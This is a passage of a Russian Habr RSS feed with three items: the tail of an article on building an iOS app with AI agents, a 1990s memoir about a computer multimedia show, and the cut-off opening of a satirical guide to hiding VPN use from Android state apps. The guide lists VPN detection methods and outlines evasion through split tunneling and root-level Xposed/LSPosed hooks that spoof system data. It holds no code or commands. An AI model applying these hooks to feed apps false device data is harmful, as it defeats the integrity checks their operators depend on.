UX и локализацию, не про функциональность.&lt;p&gt;&lt;strong&gt;Реджект 1: «Кнопка старта не работает».&lt;/strong&gt; Я сделал long-press 0.4 сек на кнопке записи, чтобы случайно не начать трекинг в кармане. Ревьюер тапнул – ничего не произошло – rejected. В описании кнопки ничего про long-press не было. Заменил на slide to start – и UX лучше, и ревьюеру понятно.&lt;p&gt;&lt;strong&gt;Реджект 2: «Цель геолокации слишком общая».&lt;/strong&gt; В &lt;code&gt;NSLocationAlwaysUsageDescription&lt;/code&gt; было что-то вроде «для записи маршрута». Apple хочет конкретнее: что именно записывается, зачем нужен Always-доступ (а не When In Use), как пользователь может это контролировать.&lt;p&gt;&lt;strong&gt;Реджект 3: русский текст в системном алерте.&lt;/strong&gt; Захардкодил &lt;code&gt;NSLocationAlwaysUsageDescription&lt;/code&gt; на русском. У ревьюера iPhone на английском – он видит нелокализованный кириллический текст в системном диалоге. Решение: &lt;code&gt;InfoPlist.strings&lt;/code&gt; с локализацией.&lt;p&gt;Практическое наблюдение (не гарантия Apple): после реджекта я отменял текущее ревью через Resolution Center и отправлял новую сборку с нуля. Ответ приходил за 2–5 часов вместо обычных нескольких дней. Возможно, отменённые ревью попадают в приоритетную очередь – а может просто повезло.&lt;p&gt;&lt;em&gt;## Как бэкендер собрал iOS-приложение: AI как второй разработчик&lt;/em&gt;&lt;p&gt;Три года я откладывал этот проект, потому что ждал «нормальную команду» – iOS-разработчика, дизайнера. Команда не появилась.&lt;p&gt;Сдвинулось, когда я попробовал работать с AI-агентами: Claude Code в терминале и Cursor в IDE. Не «попросил AI написать приложение» – это так не работает. Скорее, AI стал вторым разработчиком, который знает Swift лучше меня, но которому нужно объяснять контекст и проверять результат.&lt;p&gt;Как это выглядело на практике:&lt;p&gt;&lt;strong&gt;Где AI реально ускорил.&lt;/strong&gt; Бойлерплейт SwiftUI – экраны, навигация, модели данных. Для бэкендера, который не знает разницу между &lt;code&gt;@State&lt;/code&gt; и &lt;code&gt;@StateObject&lt;/code&gt;, это критично: AI генерирует рабочий каркас, я разбираюсь что он написал и почему. CoreData schema, &lt;code&gt;Info.plist&lt;/code&gt; entitlements, ActivityKit boilerplate – всё то, что нужно знать «как правильно», но невозможно нагуглить за разумное время если ты не в экосистеме.&lt;p&gt;&lt;strong&gt;Где AI бесполезен.&lt;/strong&gt; GPS-трекинг в фоне, работа с батареей, edge cases реальных поездок – тут нужно тестировать на устройстве, в машине, на реальной трассе. AI не знает, что на M4 между Горячим Ключом и Джубгой глушат GPS. Фильтр Калмана я отдавал агенту трижды – каждый раз получал математически корректный, но практически бесполезный результат. Сел и написал сам, по конкретным данным с конкретных поездок.&lt;p&gt;&lt;strong&gt;Продуктовые решения.&lt;/strong&gt; Что показывать на экране записи, как группировать поездки, какой precision у geohash на каком зуме – AI может предложить варианты, но решение всегда за мной. Он не знает, что мне важнее видеть стоимость бензина, а не среднюю скорость.&lt;p&gt;По времени: от первого коммита до App Store – месяц вечерами. Без AI-агентов, с моим нулевым знанием Swift – это был бы год, если бы вообще дошёл до релиза. С ними – я не стал iOS-разработчиком, но смог собрать конкретный продукт, который сам использую каждый день.&lt;p&gt;Стоимость: Claude ~$120/мес (но это и рабочие задачи, грубо половина на проект).&lt;h3&gt;Открытый код&lt;/h3&gt;&lt;p&gt;&lt;a href=https://github.com/OneZee23/trip-track-ios rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;Репозиторий&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Решение открыть код было прагматичным: приложение работает с геолокацией 24/7 – люди имеют право видеть, что оно делает с их данными. Плюс когда код публичный – стыдно коммитить костыли.&lt;p&gt;Swift, SwiftUI, ноль сторонних зависимостей. Если кому интересно покопаться в реализации geohash fog of war или фильтра Калмана для GPS – welcome.&lt;h3&gt;Что дальше&lt;/h3&gt;&lt;p&gt;Основные задачи в бэклоге:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Автостарт/автостоп&lt;/strong&gt; – определять начало и конец поездки по данным с акселерометра (когда приложение на переднем плане) или по значительным изменениям геолокации (&lt;code&gt;startMonitoringSignificantLocationChanges&lt;/code&gt;)&lt;li&gt;&lt;p&gt;&lt;strong&gt;Экспорт в GPX/JSON&lt;/strong&gt; – чтобы данные не были заложником одного приложения&lt;li&gt;&lt;p&gt;&lt;strong&gt;Градиентный fog of war&lt;/strong&gt; – уйти от прямоугольных geohash-ячеек к размытию краёв&lt;li&gt;&lt;p&gt;&lt;strong&gt;CarPlay&lt;/strong&gt; – виджет на экране мультимедиа автомобиля&lt;/ul&gt;&lt;p&gt;Если есть вопросы по реализации – пишите в комментариях или в issues на GitHub.&lt;hr&gt;&lt;p&gt;&lt;a href=https://apps.apple.com/us/app/triptrack-road-journal/id6760650361 rel=&#34;noopener noreferrer nofollow&#34;&gt;Приложение в App Store&lt;/a&gt;&lt;p&gt;&lt;a href=https://github.com/OneZee23/trip-track-ios rel=&#34;noopener noreferrer nofollow&#34;&gt;Исходный код на GitHub&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>OneZee</author>
      <guid>https://habr.com/ru/articles/1024896/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024896</guid>
      <pubDate>Sat, 18 Apr 2026 05:40:56 +0000</pubDate>
    </item>
    <item>
      <title>Как мы продавали компьютеры в 90-х. Шоу в нужную сторону</title>
      <link>https://habr.com/ru/articles/1024654/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024654</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Главы из повести.Начало: [&lt;a href=https://habr.com/ru/articles/988406/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#01. Начало бизнеса&lt;/a&gt;], [&lt;a href=https://habr.com/ru/articles/988624/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#02. Кидалово&lt;/a&gt;], [&lt;a href=https://habr.com/ru/articles/993672/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#03. Тома, Наташа и Маша&lt;/a&gt;], [&lt;a href=https://habr.com/ru/articles/993948/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#04. Колбасный авиатор&lt;/a&gt;], [&lt;a href=https://habr.com/ru/articles/996436/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#05. Бизнес и платёжка&lt;/a&gt;] [&lt;a href=https://habr.com/ru/articles/1001632/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#06. Доктор Джао&lt;/a&gt;] [ &lt;a href=https://habr.com/ru/articles/1019442/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#07 Зефиры&lt;/a&gt; ] [ &lt;a href=https://habr.com/ru/articles/1021372/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#08. Конфликты и контакты&lt;/a&gt; ] [ &lt;a href=https://habr.com/ru/articles/1024580/ rel=&#34;noopener noreferrer nofollow&#34;&gt;#09. Шум в нужную сторону&lt;/a&gt; ]&lt;h3&gt;Шоу в нужную сторону&lt;/h3&gt;&lt;p&gt;К приходу Антона мы уже установили в компьютер плату Gravis Ultrasound Max и подключили миди-клавиатуру Roland А-33. Антон в редакторе прописывал отдельные партии разных инструментов – бас-гитары, скрипок, ударных, я помогал разобраться в интерфейсе и настройках программ. &lt;br&gt;После &lt;a href=https://habr.com/ru/articles/1001632/ rel=&#34;noopener noreferrer nofollow&#34;&gt;истории с Доктором Джао&lt;/a&gt; – мы могли ВСЁ!&lt;p&gt;Это было чистое волшебство – Антон сидел один за клавишами и играл партию соло, на экране – нотный стан и на нём появляются ноты! Можно было уже на прописанном треке поменять инструмент, дописать или отредактировать ноты, их длительность, можно было транспонировать – это было запредельное удовольствие!&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e5/5c0/c9b/2e55c0c9b8a5c859864eb74c646ede8d.jpeg alt=&#34; Gravis Ultrasound Max и окно редактора Midisoft Recording Session. Можно было выбирать трек, назначать ему инструмент, устанавливать ему громкость, эффекты, стереопанораму.&#34; title=&#34; Gravis Ultrasound Max и окно редактора Midisoft Recording Session. Можно было выбирать трек, назначать ему инструмент, устанавливать ему громкость, эффекты, стереопанораму.&#34; width=700 height=173 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2e5/5c0/c9b/2e55c0c9b8a5c859864eb74c646ede8d.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e5/5c0/c9b/2e55c0c9b8a5c859864eb74c646ede8d.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt; Gravis Ultrasound Max и окно редактора Midisoft Recording Session. Можно было выбирать трек, назначать ему инструмент, устанавливать ему громкость, эффекты, стереопанораму.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Постепенно запуская остальные инструменты, Антон создавал объёмное звучание, дополнял партии одних инструментов другими. Или запускал треки аккомпанемента и вступал в развитии темы.&lt;p&gt;Тогда был популярен фильм «Перекрёсток» – с совершенно роскошной дуэлью двух гитаристов, с совершенно умопомрачительными Стивом Вэем и Ральфом Маккио.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fb/674/f1f/1fb674f1f06accfbbb537b2e4cef0537.jpeg alt=&#34;Дуэль гитаристов - одна из самых красочных сцен кинематографа.&#34; title=&#34;Дуэль гитаристов - одна из самых красочных сцен кинематографа.&#34; width=700 height=171 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1fb/674/f1f/1fb674f1f06accfbbb537b2e4cef0537.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fb/674/f1f/1fb674f1f06accfbbb537b2e4cef0537.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Дуэль гитаристов - одна из самых красочных сцен кинематографа.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;И мы придумали джем Антона с Антоном  – он сперва записывал одну партию с одним инструментом, мы сохраняли трек, Антон его запускал и импровизировал живьём с этой записью – уже голосом другого инструмента. Одним из инструментов был орган классический, второй – великий Hammond (эти подробности – для понимающих). Процессор и миди-библиотека воспроизводили оба органа невероятно достоверно, у Антона – довольно спокойного парня – был совершенно детский восторг. О таких возможностях тогда можно было прочесть в литературе о передовых технологиях – и вот он создаёт оркестр!&lt;p&gt;Звуковая карта  Gravis Ultrasound Max обладала невероятным звучанием, те, кто хоть раз её слышал – до сих пор вспоминают её до сих пор. Мы запускали аудиотреки – и все замирали внутри кристальной чистоты и прозрачности звука, несколько раз запускали стрелялки-бродилки – и все знатоки игр отмечали – плата создавала абсолютно реалистичное присутствие, слышно было даже тех врагов, которые подкрадывались сзади. Сам я к играм был равнодушен и просто наблюдал, сидя рядом – и холодок от мощного, тихого, басового «присутствия» неведомой угрозы за спиной – ощущал живьём. Карта точнейше воспроизводила звуччание инструментов и  была настоящим шедевром для самых замороченных аудиофилов.&lt;p&gt;Миди-клавиатура Roland А-33 заслуживает отдельной песни о том восторге, который она вызывала у музыкантов – «тяжёлые» клавиши, питч, педали, интерфейс с компьютером – это всё было за пределами фантастики того времени.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/12e/8ad/7f1/12e8ad7f1a168a51179212374d531b26.jpeg alt=&#34;Его Величество Roland A-33, инструмент, парализовывавший волю и тех, кто хотел на нём играть, и тех, кто хотел его слушать.&#34; title=&#34;Его Величество Roland A-33, инструмент, парализовывавший волю и тех, кто хотел на нём играть, и тех, кто хотел его слушать.&#34; width=700 height=448 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/12e/8ad/7f1/12e8ad7f1a168a51179212374d531b26.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/12e/8ad/7f1/12e8ad7f1a168a51179212374d531b26.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Его Величество Roland A-33, инструмент, парализовывавший волю и тех, кто хотел на нём играть, и тех, кто хотел его слушать.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Через несколько дней мы начали уже совместные репетиции с Ольгой и Сашей – и это уже звучало здорово!&lt;p&gt;Увлекаясь, мы постепенно выкручивали громкость и к нам в изумлении заглядывали оставшиеся в офисе:&lt;br&gt;- Это у нас теперь всегда так будет? – радостно спрашивали они.&lt;p&gt;И если, ещё только обсуждая идею с устроителями выставки, я страшно переживал – ведь всё было абсолютно новое, неизвестное, никто ещё не пробовал – ни я, ни Антон, ни Оля с Сашей – так плотно взаимодействовать с компьютером, а я ещё не был уверен – насколько хорошо разберёмся с музыкальным редактором, то теперь было ясно – всё должно получиться!&lt;p&gt;Всё это время я мучительно жалел – почему в детстве я не записался в музыкальную школу?&lt;br&gt;Собственно, понятно почему – я был обычный алма-атинский пацан и ненавидел одноклассниц, которых отпускали с любых субботников и сборов макулатуры, стоило им только сказать:&lt;br&gt;- А у нас сегодня сольфеджио...&lt;br&gt;В те времена это было слишком по-девчачьи – музыкалка, сольфеджио...&lt;br&gt;Конечно же, ни на какие инструменты с гаммами меня бы никто не смог затащить.&lt;p&gt;Зато я придумывал музыкальные номера, напевал Антону и Саше, как должны были звучать партии их инструментов, это был мой первый опыт режиссуры.&lt;p&gt;До кучи я созвонился с театром, которому я помогал с компьютерами (это будет отдельная хорошая и поучительная история в ближайшее время):&lt;br&gt;- Есть ли у вас какие-то костюмы, которые не используются в спектаклях и которые можно взять на вечер?&lt;br&gt;- Да, у нас есть склад костюмов со спектаклей, которые уже сняты с репертуара, заходи, подберём.&lt;p&gt;В итоге Антону достался строгий костюм мага с цилиндром – и выглядел он в нём сногсшибательно ипозантно, Оле – шикарное платье со широкополой шляпой – для сцены она теперь была Матильда Нокли. А для Саши я нашёл костюм гусара – белый, расшитый золотом – в анонсе концерта и на афише (мы нарисовали афишу!) он был Капитан Пеппер. Да,тот самый сержант, который с момента выхода знаменитого  альбома дослужился до капитана.&lt;p&gt;И вот, настал день закрытия выставки. Мы установили наше оборудование, музыканты настроили со звукорежиссёром звучание инструментов, я обсудил со световиком схемы освещения и... осталось около часа до концерта, я решил пройтись по самой выставке и вышел в холл. Он был плотно набит посетителями.&lt;p&gt;- А как это будет происходить? – тут же спросил меня один из них.&lt;br&gt;- О чём вы?&lt;br&gt;- Тут везде написано – вы будете мультимедиа-шоу какое-то проводить? – он показал мне буклет выставки, в центре – объявление нашего мероприятия.&lt;br&gt;Вокруг меня тут же собралась толпа с такими же вопросами.&lt;br&gt;- А, да, точно. Приходите, увидите.&lt;p&gt;Посмотреть выставку толком не удалось – диалог постоянно повторялся, самое потрясающее – меня с огромным любопытством спрашивали даже стоявшие за стендами сотрудники конкурирующих фирм!&lt;p&gt;Самого концерта я не помню – это было моё первое публичное выступление, я ни разу не слышал свой голос через микрофон, мне нужно было рассказывать о профессиональной технике самым доступным для зрителей языком.&lt;p&gt;К слову, это было моё первое выступление ещё в одной роли!&lt;br&gt;В какой-то момент репетиции я спросил Антона:&lt;br&gt;- А ведь на концертах показывают – пианист пальцем по всей клавиатуре проводит, как это можно нам в номер воткнуть?&lt;br&gt;- Глиссандо? Зачем?&lt;br&gt;- Зрители могут думать – мы им фонограмму выкатили. А тут я подхожу к тебе во время игры – и глиссандо! – мне понравилось слово.&lt;br&gt;- А, так это в до-мажоре, вот здесь можно...&lt;p&gt;Мы отрепетировали и на концерте это было лихо! Поэтому полноправно засчитываю себе этот момент как дебют в качестве пианиста.&lt;p&gt;Для шоу мы подготовили несколько популярных песен – баллады,  рок-н-роллы, инструментальные пьесы и сейшны - между Сашей и двумя Антонами – это был завершающий номер, это был улёт, это был - ЛОМ! это был настоящий ЛОМ!&lt;p&gt;Немного контекста.&lt;br&gt;Середина 90-х, компьютер – это пришелец из другой Вселенной.&lt;br&gt;Мультимедиа – это само по себе было очевидное-невероятное.&lt;br&gt;А компьютерное звучание – это самый фантастический, самый передовой  жанр: Жан-Мишель Жарр, Крафтверк и Спейс. Нечто запредельное.&lt;p&gt;И всё это вместе – на сцене, музыканты в костюмах – обаятельная Оля-Нокли, страстный Капитан Саша-Пеппер оживлявший своими сольными рок-н-рольними запилами сцену и зал, полная ему противоположность – интеллигентный и академичный Антон, живьём показывающий как писать музыку на компьютере, чистое волшебство, чистое волшебство!&lt;p&gt;Ко всему этому – место действия – Омск, выживающий и переживающий постперестроечный апокалипсис Омск.&lt;p&gt;Лет 10 назад меня нашёл один из мальчиков, который тогда сидел с родителями в зале. Мальчик уже выросший в серьёзного музыканта, написал мне – в те времена он и не мечтал о компьютере, да ещё с музыкальными возможностями, но тогда в зале родители моментально всё решили – и через неделю приобрели у нас весь комплект!&lt;p&gt;При первом обсуждении идеи шоу с устроителями выставки у меня было лишь интуитивное – очень зыбкое! - понимание – да, вроде, должно всё получиться. Это была в чистом виде авантюра, как бы сказали в конструкторском бюро – со слишком большим коэффициентом незнания. Уже в офисе, расставляя наше оборудование по местам, я осознал – теперь можно успокоиться, выдохнуть, всё получилось – и даже лучше всех ожиданий!&lt;br&gt;И, наконец-то, у меня отпали сомнения – слово шоу, мультимедиа-шоу нашему действу подходило идеально, лучше всего!&lt;p&gt;Ньюф, конечно же, получил законные косточки.&lt;p&gt;Ещё долго ко мне подходили разные незнакомые люди – благодарили за мероприятие, многие впервые увидели компьютер не просто как абстрактный атрибут программиста из кино, а как важный инструмент развития – детей и взрослых. Все фирмы на выставке продвигали домашний компьютер как игрушку, мы показывали совершенно другие его возможности – мы выделились и тут.&lt;p&gt;А через несколько дней раздался ещё один примечательный звонок:&lt;br&gt;- Мы наслышаны про ваше шоу, – сказал заинтересованный голос, – все о нём только и говорят. Вы можете повторить его на нашем мероприятии? Оно будет проходить в ТЮЗе.&lt;br&gt;Это был представитель выставки «Демо».&lt;br&gt;- ...Мы не платим вам за аренду, вы не платите нам гонорар...&lt;br&gt;- ...Ждём вас через две недели.&lt;p&gt;Снова звоню музыкантам:&lt;br&gt;- Скоро даём гастроль.&lt;br&gt;- Где?&lt;br&gt;- В ТЮЗе.&lt;br&gt;- В ТЮЗе?&lt;p&gt;Мы провели наше шоу ещё несколько раз в самых разных залах. Каждый раз внимание к шоу было огромным.&lt;p&gt;Всю ситуацию я осознал позднее. Все мои расходы на шоу – гонорар артистам и пара недель репетиций. На фоне настоящих затрат на выставку – это крошечные крохи. Кроме того, мой офис, включая меня,  всю выставочную неделю продолжал работать и обслуживать клиентов. Эффект же от мероприятия был известнее самих выставок – многие зрители сперва узнавали о нашем концерте, а уже потом – в рамках какой выставки они проходили. В околокомпьютерной публике говорили не о выставке, не о её участниках – говорили о нашем концерте.&lt;p&gt;Когда я около месяца назад выложил на Хабре одну из первых глав цикла, в комментариях написал один из зрителей тех мероприятий:&lt;br&gt;&lt;em&gt;- Помню вас еще по выставке где-то в ДК Химик что-ли, куда ходил еще школьником. Особенно запомнилось как вы устраивали на сцене презентацию какой-то звуковой карты, сидели с миди-клавиатурой и вживую записывали партии разных инструментов. Что за карта была - уже не вспомню, возможно Гусь (Gravis ultrasound max). А я еще припомнил, что вы приглашали добровольцев из зала сыграть партию клавишных, на которую вы потом накладывали ритм и бас, и вышла красивая девушка и сыграла что-то потрясающе блюзовое, и потом вообще конфетка из этого получилась, звук был совершенно нереальный для ПК тех лет! (Сам я в те годы и вовсе обладал лишь pc-спикером).&lt;/em&gt;&lt;p&gt;&lt;em&gt;Ссылка - &lt;/em&gt;&lt;a href=https://habr.com/ru/articles/988624/#comment_29433524 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;em&gt;https://habr.com/ru/articles/988624/#comment_29433524&lt;/em&gt;&lt;/a&gt;&lt;br&gt;Дружище &lt;a href=https://habr.com/ru/users/jameskotov/ rel=&#34;noopener noreferrer nofollow&#34;&gt;@jameskotov&lt;/a&gt; - спасибо за добрую память!&lt;p&gt;Думаю, мы были первые в таком жанре и таком размахе. Сейчас такое заметное событие сложно воспроизвести – компьютеры стоят у каждого в доме, мультимедиа и музыкальные компоненты – доступнее и разнообразнее, много обучающих видео. А тогда – это было время открытий и наш азарт и желание делиться новыми знаниями был благодарно встречен зрителями.&lt;p&gt;С компьютерами были связаны многие надежды на будущее, на лучшую жизнь – и наше шоу показало новые краски, новое звучание этих надежд.&lt;p&gt;Почему-то я не догадался тогда устроить из этого отдельную концертную программу – ситуация располагала, интерес к компьютерным технологиям был не просто огромный, сейчас его не с чем сравнить (не с ИИ же?;). Мои мысли были заняты выживанием на компьютерном рынке, экономика входила в самую безденежную свою фазу, начиналась эпоха взаимозачётов и я был вынужден вступать в это вязкое болото.&lt;p&gt;У этой истории немного позже случилось ещё одно продолжение – очень значимое для меня, определившее мои следующие 25 лет. Об этом – в следующих главах.&lt;p&gt;N.B.&lt;br&gt;Главный вывод, который я тогда вынес из истории с шоу - идея может быть заметнее, эффективнее бюджетов. Результат можно достичь путём, который оказался не замечен другими.&lt;p&gt;Минимальными затратами и усилиями мы стали героями двух выставок!&lt;p&gt;Здесь нужно упомянуть ещё об одном опыте, который я вынес из периода работы в конструкторском бюро ракетно-космического профиля.&lt;p&gt;В инженерном деле, особенно - в авиации и космической промышленности - есть важнейший критерий: идеальное устройство. Его - нет, но его функции выполняются.&lt;br&gt;Наше шоу идеально вписывается в эту концепцию: стенда нет, но его функции выполнены - в выставке мы участвуем и показали свои возможности наилучшим образом, выделившим нас из фона в акцент.&lt;p&gt;Этот метод – искать возможность не на виду, а в коллективном «слепом пятне», обходясь минимальными затратами – в последствии приводил к меня к большим прорывам. Несколько раз удавалось вывести фирмы (уже не мои, а те, где я работал) из предбанкротных ситуаций, находить новые источники прибыли и экономии – так я, неожиданно для себя, оказывался в качестве кризис-менеджера. Эти истории я отложу на следующую серию рассказов.)&lt;p&gt;Продолжение следует.&lt;p&gt;Ваш HappyTalkie&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>HappyTalkie</author>
      <guid>https://habr.com/ru/articles/1024654/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024654</guid>
      <pubDate>Sat, 18 Apr 2026 02:45:43 +0000</pubDate>
    </item>
    <item>
      <title>Мыслепреступление на Android: как скрыть Перехватчик трафика от Государственных приложений</title>
      <link>https://habr.com/ru/articles/1024890/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024890</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Пока Хабр бурлит статьями, имеющими весьма косвенное отношение к технической стороне вопроса, я тоже решил высказаться — но несколько иначе&lt;blockquote&gt;&lt;p&gt;Война - это Мир&lt;br&gt;Свобода - это Рабство&lt;br&gt;Незнание - это Сила&lt;p&gt;&lt;strong&gt;©&lt;/strong&gt; Какой-то малоизвестный автор, сочиняющий всякие небылицы&lt;/blockquote&gt;&lt;h2&gt;Предисловие&lt;/h2&gt;&lt;p&gt;В последнее время Государство, в силу нестабильной внешней и внутренней политической обстановки, усилило заботу о гражданах — ограждая от тлетворного влияния извне и предотвращая случайный доступ к информации, способной поколебать устои и дать пространство для вольных интерпретаций решений Государственного аппарата.&lt;p&gt;Последние новости сообщают: Государство заботливо сняло тяжкий груз защиты умов и устройств с плеч самих граждан и возложило его на свои — куда более надёжные.&lt;p&gt;Конкретно речь идёт о комплексе мер по выявлению использования гражданами так называемых Перехватчиков трафика — средств, позволяющих строить зашифрованные каналы связи через интернет — государственными сайтами и приложениями на устройствах под управлением Android.&lt;p&gt;Тем не менее, среди технически грамотных Ненадёжных элементов существуют практики, позволяющие скрыть факт использования Перехватчика трафика от приложений, обеспечивающих информационную безопасность граждан. Давайте же рассмотрим, какими средствами пользуется Враг.&lt;h2&gt;Что я имею ввиду под перехватчиками трафика&lt;/h2&gt;&lt;p&gt;Это широкий класс программ, предназначенных для перехвата пользовательского трафика — в целях учёта, фильтрации, перенаправления и так далее.&lt;p&gt;В контексте данной статьи нас интересует конкретная их разновидность — та, что позволяет строить зашифрованные каналы связи через сеть Интернет, посредством которых Ненадёжные элементы получают доступ к Тлетворной информации.&lt;h2&gt;Как приложение или сайт может определить факт использования Перехватчика трафика&lt;/h2&gt;&lt;p&gt;Прежде чем рассматривать методы противодействия, заглянем Врагу в глаза — разберём, какими инструментами располагают сайты и приложения для выявления Ненадёжных элементов.&lt;p&gt;В распоряжении веб-ресурса инструментов немного:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Проверить IP-адрес пользователя на принадлежность к известным VPN-провайдерам или диапазонам datacenter-адресов.&lt;li&gt;&lt;p&gt;Сделать HTTP no-cors запрос к заведомо заблокированному ресурсу — если он доступен, это косвенно указывает на использование Перехватчика трафика. Браузер выполнит запрос по правилам маршрутизации системы, результат вернётся сайту.&lt;li&gt;&lt;p&gt;Запросить сторонний сервис определения выходного IP пользователя.&lt;/ol&gt;&lt;p&gt;Веб-приложение исполняется на машине гражданина, а значит все настроенные правила маршрутизации распространяются и на него. С другой стороны, современные браузеры жёстко ограничивают веб-приложения, запирая их в песочнице — прямого доступа к системе у них нет.&lt;p&gt;У нативного Android-приложения возможностей значительно больше — наиболее эффективные методы основаны на прямом взаимодействии с системой:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Всё то же, что и в случае с сайтом.&lt;li&gt;&lt;p&gt;Получить список установленных пакетов и сверить с базой известных Перехватчиков трафика. Явных разрешений от пользователя для этого не требуется.&lt;li&gt;&lt;p&gt;Получить системный флаг активного VPN-соединения — Android выставляет его автоматически при использовании VpnService API, и любое приложение может его прочитать без специальных привилегий.&lt;li&gt;&lt;p&gt;Получить список сетевых интерфейсов и найти характерные имена — &lt;code&gt;tun0&lt;/code&gt;, &lt;code&gt;ppp0&lt;/code&gt; и подобные.&lt;li&gt;&lt;p&gt;И другое.&lt;/ol&gt;&lt;p&gt;Гибкость системы Android, однако, позволяет не только читать эту информацию, но и скрывать её — чем и пользуются Ненадёжные элементы. Задача нетривиальная, но выполнимая.&lt;h2&gt;Как же Перехватчик трафика может скрыться от Праведного взора Государства?&lt;/h2&gt;&lt;p&gt;Проверки на уровне веб-приложений Враг обходит сравнительно легко — настройкой раздельного туннелирования трафика по доменам или IP. Трафик к Государственным ресурсам идёт напрямую, как у Благонадёжного гражданина; трафик к Тлетворной информации — через Вражеские серверы.&lt;p&gt;Здесь, однако, есть важный нюанс. Обход эффективен только если раздельное туннелирование настроено в режиме &amp;#34;всё напрямую, кроме явно указанного&amp;#34;. При обратной схеме — &amp;#34;всё через VPN, кроме Государственных ресурсов&amp;#34; — сайт всё равно может сделать no-cors запрос к заблокированному ресурсу и по успешному ответу зафиксировать факт использования Перехватчика. Выходной адрес Вражеского сервера при этом останется ему неизвестен — что несколько затрудняет внесение оного в списки блокировок.&lt;p&gt;Теоретически помогают расширения типа uBlock Origin, блокирующие сторонние запросы — но Ненадёжный элемент никогда не знает заранее, к каким именно ресурсам конкретный Государственный сайт делает active probing. Игра в угадайку с неизвестными правилами.&lt;p&gt;&lt;strong&gt;Против нативных приложений этот подход бессилен.&lt;/strong&gt;&lt;p&gt;Даже при настроенном раздельном туннелировании по доменам и IP — приложение выполняет active probing самостоятельно, по правилам маршрутизации системы, и результат получает напрямую.&lt;p&gt;Следующий рубеж обороны Врага — раздельное туннелирование по приложениям. Трафик целевого приложения полностью исключается из туннеля и идёт напрямую. Один и тот же запрос из разных приложений даёт разный результат — Государственное приложение не видит ни VPN-адреса, ни самого факта туннелирования.&lt;p&gt;Казалось бы, победа. Но в Государственной защите умов сидят не дураки — системные векторы детекции остаются открытыми: флаг активного VPN, список пакетов, сетевые интерфейсы. Всё это приложение по-прежнему получает напрямую от Android, невзирая на любые настройки туннелирования.&lt;p&gt;Однако пронырливые Ненадёжные элементы нашли ответ и на это. Разберём пошагово.&lt;h2&gt;Как Ненадёжные элементы скрывают от Государства факт использования Перехватчика трафика&lt;/h2&gt;&lt;p&gt;Штатные инструменты Android не предусматривают возможности запретить приложению читать системную информацию — список пакетов, флаг активного VPN, сетевые интерфейсы. Система устроена так, что эти данные доступны любому желающему. Государственному приложению в том числе.&lt;p&gt;Единственный способ противодействия — перехватить соответствующие системные вызовы и подменить возвращаемые данные прежде, чем они достигнут Государственного приложения. Будто ничего и не было.&lt;p&gt;Инструмент, позволяющий это сделать, существует в единственном числе — фреймворк Xposed, позднее LSPosed, ныне актуальная версия носит название Vector. Он использует особенности архитектуры Android для точечного изменения поведения любого приложения — включая системные процессы — без модификации исходного APK.&lt;p&gt;Сам фреймворк — лишь скальпель. Хирург здесь — Xposed-модуль: обычный APK с особым манифестом, реализующий конкретную логику перехвата и подмены данных.&lt;p&gt;Для установки фреймворка обязательны разблокированный загрузчик и root-доступ — процесс их получения подробно разобран в предыдущих статьях &lt;a href=https://habr.com/ru/articles/579684/ rel=&#34;noopener noreferrer nofollow&#34;&gt;этой&lt;/a&gt;, &lt;a href=https://habr.com/ru/articles/673722/ rel=&#34;noopener noreferrer nofollow&#34;&gt;этой&lt;/a&gt; и &lt;a href=https://habr.com/ru/articles/695000/ rel=&#34;noopener noreferrer nofollow&#34;&gt;этой&lt;/a&gt;.&lt;h4&gt;Задача 1. Скрытие имен установленных пакетов&lt;/h4&gt;&lt;p&gt;Модулей для этой задачи существует 